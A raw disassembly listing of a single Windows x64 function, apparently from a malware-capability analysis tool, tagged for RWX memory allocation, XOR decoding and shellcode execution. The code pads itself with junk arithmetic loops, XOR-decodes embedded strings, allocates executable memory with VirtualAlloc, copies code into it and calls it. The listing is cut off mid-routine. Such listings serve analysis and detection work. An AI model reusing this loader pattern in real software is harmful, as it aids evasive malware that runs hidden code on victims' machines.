Function at 0x140017cf0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1570]
mov eax, 0x1670
call fcn.1400328c0
sub rsp, rax
movaps xmmword [rsp + 0x1660], xmm6
movaps xmmword [rsp + 0x1650], xmm7
movaps xmmword [rsp + 0x1640], xmm8
movaps xmmword [rsp + 0x1630], xmm9
movaps xmmword [rsp + 0x1620], xmm10
movaps xmmword [rsp + 0x1610], xmm11
movaps xmmword [rsp + 0x1600], xmm12
movaps xmmword [rsp + 0x15f0], xmm13
movaps xmmword [rsp + 0x15e0], xmm14
movaps xmmword [rsp + 0x15d0], xmm15
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rbp + 0x14c0], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0x1598]
movabs r8, 0xff00ff00ff00ff00
mov qword [rbp + 0xf8], r8
mov qword [rbp + 0x100], rdx
mov rax, qword [rdx]
xor rax, r8
mov qword [rbp + 0xf0], rax
mov qword [rdx], r12
mov rdx, rcx
lea rcx, [rbp + 0x108]
call fcn.140014890
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x130]
call fcn.1400254c0
mov dword [rbp + 0x60], 0xffffff9c
mov dword [rbp + 0x64], 0x64
movdqa xmm0, xmmword [0x140037320]
movups xmmword [rbp + 0xa0], xmm0
mov dword [rsp + 0x20], r12d
xorps xmm8, xmm8
movsd qword [rsp + 0x28], xmm8
lea rcx, [rsp + 0x30]
call fcn.140001670
mov qword [rsp + 0x50], 0x64
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1400272a0
lea rcx, [rbp + 0x80]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov qword [rbp + 0x90], r12
lea rcx, [rsp + 0x30]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.1400024e0
movsd xmm7, qword [0x140037258]
movsd xmm6, qword [0x140037250]
test al, al
jns 0x1400182f3
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov rbx, qword [rbp + 0x88]
sub rbx, qword [rbp + 0x80]
sar rbx, 3
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x80]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call rbx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x28]
addsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
lea rdx, [0x14003597c]
lea rcx, [rbp + 0xb0]
call fcn.1400264a0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xb0]
call fcn.140002300
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rcx, [rbp + 0x68]
call fcn.140025590
nop
lea rax, [rbp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.140027490
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x68]
call fcn.140002410
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.1400274f0
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
test al, 1
jne 0x1400181fb
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001820a
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov dword [rsp + 0x20], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movsd xmm5, qword [rsp + 0x28]
addsd xmm0, xmm5
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
test bl, 1
jne 0x14001827f
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001829f
movsd xmm5, qword [rsp + 0x28]
lea rcx, [rbp + 0xa0]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x28], xmm5
inc ebx
cmp ebx, 5
jl 0x140018220
sub rdi, 1
jne 0x140018210
lea rcx, [rbp + 0x68]
call fcn.140025530
nop
lea rcx, [rbp + 0xb0]
call fcn.140026440
sub rsi, 1
jne 0x140018010
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.1400024e0
test al, al
js 0x140018000
mov eax, dword [rsp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.1400253f0
movups xmm0, xmmword [0x140037110]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140037120]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140037130]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140037140]
movsd qword [rbp + 0xe0], xmm0
mov eax, dword [0x140037148]
mov dword [rbp + 0xe8], eax
movzx eax, word [0x14003714c]
mov word [rbp + 0xec], ax
movzx eax, byte [0x14003714e]
mov byte [rbp + 0xee], al
mov r9d, r12d
movdqa xmm9, xmmword [0x1400372e0]
movdqa xmm12, xmmword [0x140037300]
movdqa xmm14, xmmword [0x1400372d0]
movdqa xmm15, xmmword [0x1400372c0]
movdqa xmm10, xmmword [0x140037340]
movdqa xmm11, xmmword [0x140037310]
movdqa xmm13, xmmword [0x1400372a0]
mov r15d, dword [0x14003f090]
cmp r15d, 2
jl 0x140018559
movdqa xmmword [rsp + 0x30], xmm12
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1400183d0
cmp r9d, 0x3f
jge 0x1400185bf
movsxd rax, r9d
lea r10, [rbp + 0xb0]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x140018570
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
mov r14d, 3
lea rbx, [0x140027760]
lea rdi, [0x140000000]
mov rax, qword [0x140041580]
test rax, rax
je 0x140018639
mov rdx, r12
nop dword [rax + rax]
cmp rax, rbx
je 0x140018628
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x41580]
test rax, rax
jne 0x140018610
jmp 0x140018639
mov r8, qword [rdi + rdx*8 + 0x40f40]
test r8, r8
jne 0x14001871f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140018662
mov r8, r12
jmp 0x1400186fe
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018670
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400408d0]
mov qword [rdi + rax*8 + 0x41580], rbx
mov qword [rdi + rax*8 + 0x40f40], r8
inc rax
mov qword [0x1400408d0], rax
lea rdx, [rsp + 0x30]
lea rcx, [0x140013670]
call r8
nop
mov rcx, qword [rbp + 0x68]
xor rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x130]
call fcn.1400254c0
mov dword [rbp + 0x60], 0xffffff9c
mov dword [rbp + 0x64], 0x64
movdqa xmm0, xmmword [0x140037320]
movups xmmword [rbp + 0xa0], xmm0
mov dword [rsp + 0x20], r12d
movsd qword [rsp + 0x28], xmm8
lea rcx, [rsp + 0x40]
call fcn.140001670
mov qword [rsp + 0x30], 0x64
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400272a0
lea rcx, [rbp + 0x80]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov qword [rbp + 0x90], r12
lea rcx, [rsp + 0x30]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
jns 0x140018c5a
nop dword [rax]
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov rbx, qword [rbp + 0x88]
sub rbx, qword [rbp + 0x80]
sar rbx, 3
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x80]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call rbx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x28]
addsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
lea rdx, [0x14003597c]
lea rcx, [rbp + 0xb0]
call fcn.1400264a0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xb0]
call fcn.140002300
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rcx, [rbp + 0x68]
call fcn.140025590
nop
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.140027490
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x68]
call fcn.140002410
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.1400274f0
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
test al, 1
jne 0x140018b5b
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x140018b6a
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov dword [rsp + 0x20], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movsd xmm5, qword [rsp + 0x28]
addsd xmm0, xmm5
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
test bl, 1
jne 0x140018bdf
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x140018bff
movsd xmm5, qword [rsp + 0x28]
lea rcx, [rbp + 0xa0]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x28], xmm5
inc ebx
cmp ebx, 5
jl 0x140018b80
sub rdi, 1
jne 0x140018b70
lea rcx, [rbp + 0x68]
call fcn.140025530
nop
lea rcx, [rbp + 0xb0]
call fcn.140026440
sub rsi, 1
jne 0x140018970
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
js 0x140018960
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.1400253f0
mov dword [rsp + 0x20], 0x96
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
lea r13, [0x1400279d0]
mov rax, qword [0x140041260]
test rax, rax
je 0x140018cce
mov rdx, r12
cmp rax, r13
je 0x140018cbd
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x41260]
test rax, rax
jne 0x140018ca5
jmp 0x140018cce
mov r8, qword [rdi + rdx*8 + 0x42ba0]
test r8, r8
jne 0x140018daf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140018cf7
mov r8, r12
jmp 0x140018d8e
mov rax, r13
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018d00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [rdi + rax*8 + 0x41260], r13
mov qword [rdi + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x68]
xor rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
movups xmm0, xmmword [0x140036900]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140036910]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x140036920]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x140036930]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x140036940]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x140036950]
movups xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [0x140036960]
movups xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [0x140036970]
movsd qword [rbp + 0x50], xmm0
movzx eax, byte [0x140036978]
mov byte [rbp + 0x58], al
mov r9d, r12d
cmp r15d, 2
jl 0x140018fe9
movdqa xmmword [rsp + 0x30], xmm12
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x140018e60
cmp r9d, 0x79
jge 0x14001904f
movsxd rax, r9d
lea r10, [rbp - 0x20]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
